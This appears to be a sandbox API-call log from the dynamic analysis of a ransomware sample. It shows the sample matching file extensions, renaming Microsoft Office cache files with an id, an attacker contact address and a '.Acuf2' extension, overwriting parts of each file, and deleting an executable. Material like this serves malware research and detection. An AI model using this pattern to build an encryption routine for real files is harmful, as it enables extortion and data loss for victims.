	[0050.941] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1
	[0050.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.941] lstrlenW (lpString=".doc") returned 4
	[0050.941] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0050.941] lstrlenW (lpString=".docx") returned 5
	[0050.941] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0050.941] lstrlenW (lpString=".pdf") returned 4
	[0050.941] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0050.941] lstrlenW (lpString=".xls") returned 4
	[0050.942] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0050.942] lstrlenW (lpString=".xlsx") returned 5
	[0050.942] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0050.942] lstrlenW (lpString=".ppt") returned 4
	[0050.942] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0050.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.942] lstrlenW (lpString=".zip") returned 4
	[0050.942] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0050.942] lstrlenW (lpString=".rar") returned 4
	[0050.942] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0050.942] lstrlenW (lpString=".bz2") returned 4
	[0050.942] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0050.942] lstrlenW (lpString=".7z") returned 3
	[0050.942] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0050.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.942] lstrlenW (lpString=".dbf") returned 4
	[0050.942] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0050.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.942] lstrlenW (lpString=".1cd") returned 4
	[0050.942] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0050.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.942] lstrlenW (lpString=".jpg") returned 4
	[0050.942] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0050.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.942] lstrlenW (lpString=".doc") returned 4
	[0050.942] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0050.942] lstrlenW (lpString=".docx") returned 5
	[0050.943] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0050.943] lstrlenW (lpString=".pdf") returned 4
	[0050.943] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0050.943] lstrlenW (lpString=".xls") returned 4
	[0050.943] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0050.943] lstrlenW (lpString=".xlsx") returned 5
	[0050.943] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0050.943] lstrlenW (lpString=".ppt") returned 4
	[0050.943] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0050.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.943] lstrlenW (lpString=".zip") returned 4
	[0050.943] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0050.943] lstrlenW (lpString=".rar") returned 4
	[0050.943] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0050.943] lstrlenW (lpString=".bz2") returned 4
	[0050.943] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0050.943] lstrlenW (lpString=".7z") returned 3
	[0050.943] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0050.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.943] lstrlenW (lpString=".dbf") returned 4
	[0050.943] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0050.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.943] lstrlenW (lpString=".1cd") returned 4
	[0050.943] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0050.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.943] lstrlenW (lpString=".jpg") returned 4
	[0050.943] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0050.944] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0050.944] lstrlenW (lpString="osetup.dll") returned 10
	[0050.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.944] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=7378792) returned 1
	[0050.944] CloseHandle (hObject=0x158) returned 1
	[0050.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020
	[0050.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.944] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0050.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.945] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0050.945] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.945] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0051.254] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0051.254] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0051.257] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0051.257] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0051.257] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0051.278] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.278] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0051.566] SetEndOfFile (hFile=0x158) returned 1
	[0051.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f637d8
	[0051.936] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.936] WriteFile (in: hFile=0x158, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.937] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.937] WriteFile (in: hFile=0x158, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.939] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.940] WriteFile (in: hFile=0x158, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f637d8 | out: hHeap=0x4f0000) returned 1
	[0051.941] CloseHandle (hObject=0x158) returned 1
	[0052.968] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0053.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.153] lstrlenW (lpString=".doc") returned 4
	[0053.153] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0053.153] lstrlenW (lpString=".docx") returned 5
	[0053.153] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0053.153] lstrlenW (lpString=".pdf") returned 4
	[0053.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0053.153] lstrlenW (lpString=".xls") returned 4
	[0053.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0053.153] lstrlenW (lpString=".xlsx") returned 5
	[0053.153] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0053.153] lstrlenW (lpString=".ppt") returned 4
	[0053.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0053.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.153] lstrlenW (lpString=".zip") returned 4
	[0053.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0053.153] lstrlenW (lpString=".rar") returned 4
	[0053.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0053.153] lstrlenW (lpString=".bz2") returned 4
	[0053.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0053.153] lstrlenW (lpString=".7z") returned 3
	[0053.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0053.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.153] lstrlenW (lpString=".dbf") returned 4
	[0053.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0053.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.154] lstrlenW (lpString=".1cd") returned 4
	[0053.154] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0053.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.154] lstrlenW (lpString=".jpg") returned 4
	[0053.154] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.154] lstrlenW (lpString=".doc") returned 4
	[0053.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString=".docx") returned 5
	[0053.154] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0053.154] lstrlenW (lpString=".pdf") returned 4
	[0053.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString=".xls") returned 4
	[0053.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString=".xlsx") returned 5
	[0053.154] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0053.154] lstrlenW (lpString=".ppt") returned 4
	[0053.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.154] lstrlenW (lpString=".zip") returned 4
	[0053.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString=".rar") returned 4
	[0053.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0053.154] lstrlenW (lpString=".bz2") returned 4
	[0053.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0053.154] lstrlenW (lpString=".7z") returned 3
	[0053.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0053.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.155] lstrlenW (lpString=".dbf") returned 4
	[0053.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0053.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.155] lstrlenW (lpString=".1cd") returned 4
	[0053.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0053.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0053.155] lstrlenW (lpString=".jpg") returned 4
	[0053.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0053.155] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0053.155] lstrlenW (lpString="PrjProrWW.msi") returned 13
	[0053.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0053.740] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=10798080) returned 1
	[0053.740] CloseHandle (hObject=0x204) returned 1
	[0053.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020
	[0053.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.741] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0053.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0053.741] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0053.741] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0053.742] ReadFile (in: hFile=0x204, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0053.746] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0053.746] ReadFile (in: hFile=0x204, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0053.749] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0053.749] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0053.750] ReadFile (in: hFile=0x204, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0053.768] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.768] WriteFile (in: hFile=0x204, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0053.785] SetEndOfFile (hFile=0x204) returned 1
	[0053.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f637d8
	[0053.789] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0053.789] WriteFile (in: hFile=0x204, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0054.177] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0054.182] WriteFile (in: hFile=0x204, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0054.240] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0054.240] WriteFile (in: hFile=0x204, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0054.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f637d8 | out: hHeap=0x4f0000) returned 1
	[0054.297] CloseHandle (hObject=0x204) returned 1
	[0054.687] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0054.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.724] lstrlenW (lpString=".doc") returned 4
	[0054.724] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0054.724] lstrlenW (lpString=".docx") returned 5
	[0054.724] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0054.724] lstrlenW (lpString=".pdf") returned 4
	[0054.724] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0054.724] lstrlenW (lpString=".xls") returned 4
	[0054.724] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0054.724] lstrlenW (lpString=".xlsx") returned 5
	[0054.724] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0054.724] lstrlenW (lpString=".ppt") returned 4
	[0054.724] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0054.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.724] lstrlenW (lpString=".zip") returned 4
	[0054.724] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0054.724] lstrlenW (lpString=".rar") returned 4
	[0054.724] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0054.724] lstrlenW (lpString=".bz2") returned 4
	[0054.724] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0054.724] lstrlenW (lpString=".7z") returned 3
	[0054.724] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0054.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.724] lstrlenW (lpString=".dbf") returned 4
	[0054.724] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.725] lstrlenW (lpString=".1cd") returned 4
	[0054.725] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.725] lstrlenW (lpString=".jpg") returned 4
	[0054.725] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.725] lstrlenW (lpString=".doc") returned 4
	[0054.725] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0054.725] lstrlenW (lpString=".docx") returned 5
	[0054.725] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0054.725] lstrlenW (lpString=".pdf") returned 4
	[0054.725] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0054.725] lstrlenW (lpString=".xls") returned 4
	[0054.725] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0054.725] lstrlenW (lpString=".xlsx") returned 5
	[0054.725] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0054.725] lstrlenW (lpString=".ppt") returned 4
	[0054.725] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.725] lstrlenW (lpString=".zip") returned 4
	[0054.725] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0054.725] lstrlenW (lpString=".rar") returned 4
	[0054.725] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0054.725] lstrlenW (lpString=".bz2") returned 4
	[0054.725] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0054.725] lstrlenW (lpString=".7z") returned 3
	[0054.725] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0054.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.726] lstrlenW (lpString=".dbf") returned 4
	[0054.726] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0054.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.726] lstrlenW (lpString=".1cd") returned 4
	[0054.726] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
